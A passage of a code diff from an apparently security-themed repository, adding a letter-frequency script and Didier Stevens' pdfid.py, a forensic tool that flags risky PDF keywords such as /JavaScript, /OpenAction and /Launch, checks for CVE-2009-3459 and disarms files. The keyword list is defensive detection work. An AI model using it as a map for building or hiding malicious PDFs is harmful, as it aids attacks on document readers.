|
||||
d -> 0.034
|
||||
'''
|
||||
|
||||
import chardet
|
||||
from collections import defaultdict
|
||||
|
||||
|
||||
# calculate the mean values from the table
|
||||
def taste_like_english(dict_mean, word):
|
||||
mean_word = 0
|
||||
counter = 0
|
||||
for c in word:
|
||||
if c in dict_mean.keys():
|
||||
mean_word += dict_mean[c]
|
||||
counter += 1
|
||||
return mean_word/counter
|
||||
|
||||
|
||||
|
||||
|
||||
# count number of letters
|
||||
def count_letters(FILE):
|
||||
dict_letters = defaultdict(int)
|
||||
with open(FILE) as file:
|
||||
for line in file:
|
||||
for word in line.lower().split():
|
||||
for c in word:
|
||||
if c!='!' and c!="," and c!="-" and c!="."\
|
||||
and c!=";" and chardet.detect(c)['encoding'] == 'ascii':
|
||||
dict_letters[c] += 1
|
||||
return dict_letters
|
||||
|
||||
|
||||
|
||||
# calculate the frequency for the letters
|
||||
def calculate_mean(dict_letters):
|
||||
dict_mean = defaultdict(float)
|
||||
sum_all = sum(dict_letters.values())
|
||||
for letter in sorted(dict_letters.keys()):
|
||||
dict_mean[letter] = float(dict_letters[letter])/sum_all
|
||||
return dict_mean
|
||||
|
||||
|
||||
|
||||
|
||||
# first, test letters with official values
|
||||
def test_values():
|
||||
dict_letters_test = {'e':0.104, 't':0.072, 'a':0.065, 'o':0.059, \
|
||||
'n': 0.056, 'i': 0.055, 's':0.051, 'r':0.049, 'h':0.049, 'd':0.034}
|
||||
print('Test for "english": ', taste_like_english(dict_letters_test, 'english')) # == 0.045"
|
||||
|
||||
|
||||
|
||||
# now, test with some file, creating dictionary of letters
|
||||
def test_file():
|
||||
dict_letters = count_letters(FILE)
|
||||
dict_mean = calculate_mean(dict_letters)
|
||||
for key in sorted(dict_mean, key=dict_mean.get, reverse=True):
|
||||
print(key + ' --> ' + str(dict_mean[key]))
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_values()
|
||||
|
||||
FILE = 'Ariel_Sylvia_Plath.txt'
|
||||
test_file()
|
1031
Forensics/pdf-parser.py
Executable file
1031
Forensics/pdf-parser.py
Executable file
File diff suppressed because it is too large
Load diff
714
Forensics/pdfid.py
Executable file
714
Forensics/pdfid.py
Executable file
|
@ -0,0 +1,714 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__description__ = 'Tool to test a PDF file'
|
||||
__author__ = 'Didier Stevens'
|
||||
__version__ = '0.1.2'
|
||||
__date__ = '2013/03/13'
|
||||
|
||||
"""
|
||||
|
||||
Tool to test a PDF file
|
||||
|
||||
Source code put in public domain by Didier Stevens, no Copyright
|
||||
https://DidierStevens.com
|
||||
Use at your own risk
|
||||
|
||||
History:
|
||||
2009/03/27: start
|
||||
2009/03/28: scan option
|
||||
2009/03/29: V0.0.2: xml output
|
||||
2009/03/31: V0.0.3: /ObjStm suggested by Dion
|
||||
2009/04/02: V0.0.4: added ErrorMessage
|
||||
2009/04/20: V0.0.5: added Dates
|
||||
2009/04/21: V0.0.6: added entropy
|
||||
2009/04/22: added disarm
|
||||
2009/04/29: finished disarm
|
||||
2009/05/13: V0.0.7: added cPDFEOF
|
||||
2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ)
|
||||
2009/07/25: added input redirection, option --force
|
||||
2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm
|
||||
2010/01/11: V0.0.10: relaxed %PDF header checking
|
||||
2010/04/28: V0.0.11: added /Launch
|
||||
2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway
|
||||
2011/12/29: updated for Python 3, added keyword /EmbeddedFile
|
||||
2012/03/03: added PDFiD2JSON; coded by Brandon Dixon
|
||||
2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected'
|
||||
2013/03/11: V0.1.1: fixes for Python 3
|
||||
2013/03/13: V0.1.2: Added error handling for files; added /XFA
|
||||
|
||||
Todo:
|
||||
- update XML example (entropy, EOF)
|
||||
- code review, cleanup
|
||||
"""
|
||||
|
||||
import optparse
|
||||
import os
|
||||
import re
|
||||
import xml.dom.minidom
|
||||
import traceback
|
||||
import math
|
||||
import operator
|
||||
import os.path
|
||||
import sys
|
||||
import json
|
||||
import zipfile
|
||||
try:
|
||||
import urllib2
|
||||
urllib23 = urllib2
|
||||
except:
|
||||
import urllib.request
|
||||
urllib23 = urllib.request
|
||||
|
||||
#Convert 2 Bytes If Python 3
|
||||
def C2BIP3(string):
|
||||
if sys.version_info[0] > 2:
|
||||
return bytes([ord(x) for x in string])
|
||||
else:
|
||||
return string
|
||||
|
||||
class cBinaryFile:
|
||||
def __init__(self, file):
|
||||
self.file = file
|
||||
if file == '':
|
||||
self.infile = sys.stdin
|
||||
elif file.lower().startswith('http://') or file.lower().startswith('https://'):
|
||||
try:
|
||||
if sys.hexversion >= 0x020601F0:
|
||||
self.infile = urllib23.urlopen(file, timeout=5)
|
||||
else:
|
||||
self.infile = urllib23.urlopen(file)
|
||||
except urllib23.HTTPError:
|
||||
print('Error accessing URL %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
elif file.lower().endswith('.zip'):
|
||||
try:
|
||||
self.zipfile = zipfile.ZipFile(file, 'r')
|
||||
self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected'))
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
else:
|
||||
try:
|
||||
self.infile = open(file, 'rb')
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
self.ungetted = []
|
||||
|
||||
def byte(self):
|
||||
if len(self.ungetted) != 0:
|
||||
return self.ungetted.pop()
|
||||
inbyte = self.infile.read(1)
|
||||
if not inbyte or inbyte == '':
|
||||
self.infile.close()
|
||||
return None
|
||||
return ord(inbyte)
|
||||
|
||||
def bytes(self, size):
|
||||
if size <= len(self.ungetted):
|
||||
result = self.ungetted[0:size]
|
||||
del self.ungetted[0:size]
|
||||
return result
|
||||
inbytes = self.infile.read(size - len(self.ungetted))
|
||||
if inbytes == '':
|
||||
self.infile.close()
|
||||
if type(inbytes) == type(''):
|
||||
result = self.ungetted + [ord(b) for b in inbytes]
|
||||
else:
|
||||
result = self.ungetted + [b for b in inbytes]
|
||||
self.ungetted = []
|
||||
return result
|
||||
|
||||
def unget(self, byte):
|
||||
self.ungetted.append(byte)
|
||||
|
||||
def ungets(self, bytes):
|
||||
bytes.reverse()
|
||||
self.ungetted.extend(bytes)
|
||||
|
||||
class cPDFDate:
|
||||
def __init__(self):
|
||||
self.state = 0
|
||||
|
||||
def parse(self, char):
|
||||
if char == 'D':
|
||||
self.state = 1
|
||||
return None
|
||||
elif self.state == 1:
|
||||
if char == ':':
|
||||
self.state = 2
|
||||
self.digits1 = ''
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 2:
|
||||
if len(self.digits1) < 14:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits1 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif char == '+' or char == '-' or char == 'Z':
|
||||
self.state = 3
|
||||
self.digits2 = ''
|
||||
self.TZ = char
|
||||
return None
|
||||
elif char == '"':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
elif char < '0' or char > '9':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 3:
|
||||
if len(self.digits2) < 2:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) == 2:
|
||||
if char == "'":
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) < 5:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
if len(self.digits2) == 5:
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1 + self.TZ + self.digits2
|
||||
return self.date
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
|
||||
def fEntropy(countByte, countTotal):
|
||||
x = float(countByte) / countTotal
|
||||
if x > 0:
|
||||
return - x * math.log(x, 2)
|
||||
else:
|
||||
return 0.0
|
||||
|
||||
class cEntropy:
|
||||
def __init__(self):
|
||||
self.allBucket = [0 for i in range(0, 256)]
|
||||
self.streamBucket = [0 for i in range(0, 256)]
|
||||
|
||||
def add(self, byte, insideStream):
|
||||
self.allBucket[byte] += 1
|
||||
if insideStream:
|
||||
self.streamBucket[byte] += 1
|
||||
|
||||
def removeInsideStream(self, byte):
|
||||
if self.streamBucket[byte] > 0:
|
||||
self.streamBucket[byte] -= 1
|
||||
|
||||
def calc(self):
|
||||
self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket)
|
||||
allCount = sum(self.allBucket)
|
||||
streamCount = sum(self.streamBucket)
|
||||
nonStreamCount = sum(self.nonStreamBucket)
|
||||
return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket)))
|
||||
|
||||
class cPDFEOF:
|
||||
def __init__(self):
|
||||
self.token = ''
|
||||
self.cntEOFs = 0
|
||||
|
||||
def parse(self, char):
|
||||
if self.cntEOFs > 0:
|
||||
self.cntCharsAfterLastEOF += 1
|
||||
if self.token == '' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%' and char == 'E':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%E' and char == 'O':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EO' and char == 'F':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'):
|
||||
self.cntEOFs += 1
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
if char == '\n':
|
||||
self.token = ''
|
||||
else:
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF\r':
|
||||
if char == '\n':
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
self.token = ''
|
||||
else:
|
||||
self.token = ''
|
||||
|
||||
def FindPDFHeaderRelaxed(oBinaryFile):
|
||||
bytes = oBinaryFile.bytes(1024)
|
||||
index = ''.join([chr(byte) for byte in bytes]).find('%PDF')
|
||||
if index == -1:
|
||||
oBinaryFile.ungets(bytes)
|
||||
return ([], None)
|
||||
for endHeader in range(index + 4, index + 4 + 10):
|
||||
if bytes[endHeader] == 10 or bytes[endHeader] == 13:
|
||||
break
|
||||
oBinaryFile.ungets(bytes[endHeader:])
|
||||
return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]]))
|
||||
|
||||
def Hexcode2String(char):
|
||||
if type(char) == int:
|
||||
return '#%02x' % char
|
||||
else:
|
||||
return char
|
||||
|
||||
def SwapCase(char):
|
||||
if type(char) == int:
|
||||
return ord(chr(char).swapcase())
|
||||
else:
|
||||
return char.swapcase()
|
||||
|
||||
def HexcodeName2String(hexcodeName):
|
||||
return ''.join(map(Hexcode2String, hexcodeName))
|
||||
|
||||
def SwapName(wordExact):
|
||||
return map(SwapCase, wordExact)
|
||||
|
||||
def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut):
|
||||
if word != '':
|
||||
if slash + word in words:
|
||||
words[slash + word][0] += 1
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
elif slash == '/' and allNames:
|
||||
words[slash + word] = [1, 0]
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
if slash == '/':
|
||||
lastName = slash + word
|
||||
if slash == '':
|
||||
if word == 'stream':
|
||||
insideStream = True
|
||||
if word == 'endstream':
|
||||
if insideStream == True and oEntropy != None:
|
||||
for char in 'endstream':
|
||||
oEntropy.removeInsideStream(ord(char))
|
||||
insideStream = False
|
||||
if fOut != None:
|
||||
if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'):
|
||||
wordExactSwapped = HexcodeName2String(SwapName(wordExact))
|
||||
fOut.write(C2BIP3(wordExactSwapped))
|
||||
print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped))
|
||||
else:
|
||||
fOut.write(C2BIP3(HexcodeName2String(wordExact)))
|
||||
return ('', [], False, lastName, insideStream)
|
||||
|
||||
class cCVE_2009_3459:
|
||||
def __init__(self):
|
||||
self.count = 0
|
||||
|
||||
def Check(self, lastName, word):
|
||||
if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes
|
||||
self.count += 1
|
||||
|
||||
def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False):
|
||||
"""Example of XML output:
|
||||
<PDFiD ErrorOccured="False" ErrorMessage="" Filename="test.pdf" Header="%PDF-1.1" IsPDF="True" Version="0.0.4" Entropy="4.28">
|
||||
<Keywords>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="obj"/>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="endobj"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="stream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="endstream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="xref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="trailer"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="startxref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/Page"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/Encrypt"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JS"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JavaScript"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/AA"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/OpenAction"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/JBIG2Decode"/>
|
||||
</Keywords>
|
||||
<Dates>
|
||||
<Date Value="D:20090128132916+01'00" Name="/ModDate"/>
|
||||
</Dates>
|
||||
</PDFiD>
|
||||
"""
|
||||
|
||||
word = ''
|
||||
wordExact = []
|
||||
hexcode = False
|
||||
lastName = ''
|
||||
insideStream = False
|
||||
keywords = ('obj',
|
||||
'endobj',
|
||||
'stream',
|
||||
'endstream',
|
||||
'xref',
|
||||
'trailer',
|
||||
'startxref',
|
||||
'/Page',
|
||||
'/Encrypt',
|
||||
'/ObjStm',
|
||||
'/JS',
|
||||
'/JavaScript',
|
||||
'/AA',
|
||||
'/OpenAction',
|
||||
'/AcroForm',
|
||||
'/JBIG2Decode',
|
||||
'/RichMedia',
|
||||
'/Launch',
|
||||
'/EmbeddedFile',
|
||||
'/XFA',
|
||||
)
|
||||
words = {}
|
||||
dates = []
|
||||
for keyword in keywords:
|
||||
words[keyword] = [0, 0]
|
||||
slash = ''
|
||||
xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None)
|
||||
att = xmlDoc.createAttribute('Version')
|
||||
att.nodeValue = __version__
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Filename')
|
||||
att.nodeValue = file
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
attErrorOccured = xmlDoc.createAttribute('ErrorOccured')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorOccured)
|
||||
attErrorOccured.nodeValue = 'False'
|
||||
attErrorMessage = xmlDoc.createAttribute('ErrorMessage')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorMessage)
|
||||
attErrorMessage.nodeValue = ''
|
||||
|
||||
oPDFDate = None
|
||||
oEntropy = None
|
||||
oPDFEOF = None
|
||||
oCVE_2009_3459 = cCVE_2009_3459()
|
||||
try:
|
||||
attIsPDF = xmlDoc.createAttribute('IsPDF')
|
||||
xmlDoc.documentElement.setAttributeNode(attIsPDF)
|
||||
oBinaryFile = cBinaryFile(file)
|
||||
if extraData:
|
||||
oPDFDate = cPDFDate()
|
||||
oEntropy = cEntropy()
|
||||
oPDFEOF = cPDFEOF()
|
||||
(bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile)
|
||||
if disarm:
|
||||
(pathfile, extension) = os.path.splitext(file)
|
||||
fOut = open(pathfile + '.disarmed' + extension, 'wb')
|
||||
for byteHeader in bytesHeader:
|
||||
fOut.write(C2BIP3(chr(byteHeader)))
|
||||
else:
|
||||
fOut = None
|
||||
if oEntropy != None:
|
||||
for byteHeader in bytesHeader:
|
||||
oEntropy.add(byteHeader, insideStream)
|
||||
if pdfHeader == None and not force:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
return xmlDoc
|
||||
else:
|
||||
if pdfHeader == None:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
pdfHeader = ''
|
||||
else:
|
||||
attIsPDF.nodeValue = 'True'
|
||||
att = xmlDoc.createAttribute('Header')
|
||||
att.nodeValue = repr(pdfHeader[0:10]).strip("'")
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
byte = oBinaryFile.byte()
|
||||
while byte != None:
|
||||
char = chr(byte)
|
||||
charUpper = char.upper()
|
||||
if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9':
|
||||
word += char
|
||||
wordExact.append(char)
|
||||
elif slash == '/' and char == '#':
|
||||
d1 = oBinaryFile.byte()
|
||||
if d1 != None:
|
||||
d2 = oBinaryFile.byte()
|
||||
if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'):
|
||||
word += chr(int(chr(d1) + chr(d2), 16))
|
||||
wordExact.append(int(chr(d1) + chr(d2), 16))
|
||||
hexcode = True
|
||||
if oEntropy != None:
|
||||
oEntropy.add(d1, insideStream)
|
||||
oEntropy.add(d2, insideStream)
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(d1)
|
||||
oPDFEOF.parse(d2)
|
||||
else:
|
||||
oBinaryFile.unget(d2)
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oCVE_2009_3459.Check(lastName, word)
|
||||
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if char == '/':
|
||||
slash = '/'
|
||||
else:
|
||||
slash = ''
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
|
||||
if oPDFDate != None and oPDFDate.parse(char) != None:
|
||||
dates.append([oPDFDate.date, lastName])
|
||||
|
||||
if oEntropy != None:
|
||||
oEntropy.add(byte, insideStream)
|
||||
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(char)
|
||||
|
||||
byte = oBinaryFile.byte()
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
|
||||
# check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in
|
||||
# the parse function because it never gets called due to hitting the end of file.
|
||||
if byte == None and oPDFEOF != None:
|
||||
if oPDFEOF.token == '%%EOF':
|
||||
oPDFEOF.cntEOFs += 1
|
||||
oPDFEOF.cntCharsAfterLastEOF = 0
|
||||
oPDFEOF.token = ''
|
||||
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
attErrorOccured.nodeValue = 'True'
|
||||
attErrorMessage.nodeValue = traceback.format_exc()
|
||||
|
||||
if disarm:
|
||||
fOut.close()
|
||||
|
||||
attEntropyAll = xmlDoc.createAttribute('TotalEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyAll)
|
||||
attCountAll = xmlDoc.createAttribute('TotalCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountAll)
|
||||
attEntropyStream = xmlDoc.createAttribute('StreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyStream)
|
||||
attCountStream = xmlDoc.createAttribute('StreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountStream)
|
||||
attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyNonStream)
|
||||
attCountNonStream = xmlDoc.createAttribute('NonStreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountNonStream)
|
||||
if oEntropy != None:
|
||||
(countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc()
|
||||
attEntropyAll.nodeValue = '%f' % entropyAll
|
||||
attCountAll.nodeValue = '%d' % countAll
|
||||
attEntropyStream.nodeValue = '%f' % entropyStream
|
||||
attCountStream.nodeValue = '%d' % countStream
|
||||
attEntropyNonStream.nodeValue = '%f' % entropyNonStream
|
||||
attCountNonStream.nodeValue = '%d' % countNonStream
|
||||
else:
|
||||
attEntropyAll.nodeValue = ''
|
||||
attCountAll.nodeValue = ''
|
||||
attEntropyStream.nodeValue = ''
|
||||
attCountStream.nodeValue = ''
|
||||
attEntropyNonStream.nodeValue = ''
|
||||
attCountNonStream.nodeValue = ''
|
||||
attCountEOF = xmlDoc.createAttribute('CountEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountEOF)
|
||||
attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF)
|
||||
if oPDFEOF != None:
|
||||
attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs
|
||||
attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF
|
||||
else:
|
||||
attCountEOF.nodeValue = ''
|
||||
attCountCharsAfterLastEOF.nodeValue = ''
|
||||
|
||||
eleKeywords = xmlDoc.createElement('Keywords')
|
||||
xmlDoc.documentElement.appendChild(eleKeywords)
|
||||
for keyword in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = keyword
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[keyword][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[keyword][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = '/Colors > 2^24'
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(oCVE_2009_3459.count)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(0)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
if allNames:
|
||||
keys = sorted(words.keys())
|
||||
for word in keys:
|
||||
if not word in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = word
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[word][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[word][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleDates = xmlDoc.createElement('Dates')
|
||||
xmlDoc.documentElement.appendChild(eleDates)
|
||||
dates.sort(key=lambda x: x[0])
|
||||
for date in dates:
|
||||
eleDate = xmlDoc.createElement('Date')
|
||||
eleDates.appendChild(eleDate)
|
||||
att = xmlDoc.createAttribute('Value')
|
||||
att.nodeValue = date[0]
|
||||
eleDate.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = date[1]
|
||||
eleDate.setAttributeNode(att)
|
||||
return xmlDoc
|
||||
|
||||
def PDFiD2String(xmlDoc, force):
|
||||
result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename'))
|
||||
if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True':
|
||||
return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False':
|
||||
return result + ' Not a PDF document\n'
|
||||
result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header')
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count')))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
result += '(%d)' % int(node.getAttribute('HexcodeCount'))
|
||||
result += '\n'
|
||||
if xmlDoc.documentElement.getAttribute('CountEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF')))
|
||||
if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '':
|
||||
result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')))
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name'))
|
||||
if xmlDoc.documentElement.getAttribute('TotalEntropy') != '':
|
||||
result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount'))
|
||||
if xmlDoc.documentElement.getAttribute('StreamEntropy') != '':
|
||||
result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount'))
|
||||
if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '':
|
||||
result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount'))
|
||||
return result
|
||||
|
||||
def Scan(directory, allNames, extraData, disarm, force):
|
||||
try:
|
||||
if os.path.isdir(directory):
|
||||
for entry in os.listdir(directory):
|
||||
Scan(os.path.join(directory, entry), allNames, extraData, disarm, force)
|
||||
else:
|
||||
result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force)
|
||||
print(result)
|
||||
logfile = open('PDFiD.log', 'a')
|
||||
logfile.write(result + '\n')
|
||||
logfile.close()
|
||||
except:
|
||||
pass
|
||||
|
||||
#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json
|
||||
def PDFiD2JSON(xmlDoc, force):
|
||||
#Get Top Layer Data
|
||||
errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured')
|
||||
errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage')
|
||||
filename = xmlDoc.documentElement.getAttribute('Filename')
|
||||
header = xmlDoc.documentElement.getAttribute('Header')
|
||||
isPdf = xmlDoc.documentElement.getAttribute('IsPDF')
|
||||
version = xmlDoc.documentElement.getAttribute('Version')
|
||||
entropy = xmlDoc.documentElement.getAttribute('Entropy')
|
||||
|
||||
#extra data
|
||||
countEof = xmlDoc.documentElement.getAttribute('CountEOF')
|
||||
countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF')
|
||||
totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy')
|
||||
streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy')
|
||||
nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy')
|
||||
|
||||
keywords = []
|
||||
dates = []
|
||||
|
||||
#grab all keywords
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
count = int(node.getAttribute('Count'))
|
||||
if int(node.getAttribute('HexcodeCount')) > 0:
|
||||
hexCount = int(node.getAttribute('HexcodeCount'))
|
||||
else:
|
||||
hexCount = 0
|
||||
keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name }
|
||||
keywords.append(keyword)
|
||||
|
||||
#grab all date information
|
||||
for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes:
|
||||
name = node.getAttribute('Name')
|
||||
value = node.getAttribute('Value')
|
||||
date = { 'name':name, 'value':value }
|
||||
dates.append(date)
|
